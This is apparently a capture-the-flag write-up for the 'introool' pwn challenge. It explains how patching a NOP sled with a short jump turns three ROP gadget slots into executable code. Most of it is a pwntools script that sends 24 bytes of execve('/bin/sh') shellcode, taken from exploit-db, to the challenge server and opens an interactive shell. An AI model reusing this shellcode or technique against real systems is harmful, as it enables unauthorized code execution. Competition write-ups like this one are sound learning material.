Tags: shellcode pwn
Rating: 5.0
flag: `OOO{the_damn_loader_screwed_me_up_once_again}`
We are supposed to send 1 NOP sled, 2 patch bytes and 3 rop gadget addresses to construct an ELF program.
By sending `1` to the `Now what?` prompt we get the base64 of the ELF we just constructed.
For some reason the 3 rop gadget addresses can be found both in `.data` and `.text`, so if we jump to the `.text` copy of it, we can execute it as shellcode.
Our solution is: Patch the NOP sled with a relative short jump (`JMP rel8`), in our case `eb 46`, and jump to the ropchain (now 24-byte shellcode).
```
from pwn import *
import base64
OFFSET1 = "7c"
PATCH1 = "eb"
OFFSET2 = "7d"
PATCH2 = "46"
context.log_level = "DEBUG"
p = remote("introool.challenges.ooo", 4242)
# Insert NOP sled byte in hex (e.g., "90"). The byte must be >= 0x80.
p.recvuntil("> ")
p.sendline("90")
# Insert size of sled in hex (e.g., "200"). Valid range is [0x80, 0x800].
p.recvuntil("> ")
p.sendline("80")
# Insert offset to patch in hex (e.g., "909"):
p.recvuntil("): ")
p.sendline(str(OFFSET1))
# Insert value to patch with in hex (e.g., "90"):
p.recvuntil("): ")
p.sendline(PATCH1)
# Insert offset to patch in hex (e.g., "909"):
p.recvuntil("): ")
p.sendline(str(OFFSET2))
# Insert value to patch with in hex (e.g., "90"):
p.recvuntil("): ")
p.sendline(PATCH2)
# https://www.exploit-db.com/exploits/42179
A = "504831d24831f648"
B = "bb2f62696e2f2f73"
C = "6853545fb03b0f05"
# Insert your three ROP chain gadgets in hex (e.g., "baaaaaadc0000ffe").
p.recvuntil(").")
p.recvuntil("[1/3] > ")
p.sendline(A)
p.recvuntil("[2/3] > ")
p.sendline(B)
p.recvuntil("[3/3] > ")
p.sendline(C)
# Now what?
p.recvuntil("> ")
p.sendline("2") # 1 to print out the ELF (in base64), 2 to execute it
p.interactive()
prog = base64.b64decode(p.recvall().strip())
success(f"received {len(prog)} bytes!")
with open("elf", "wb+") as f:
f.write(prog)
```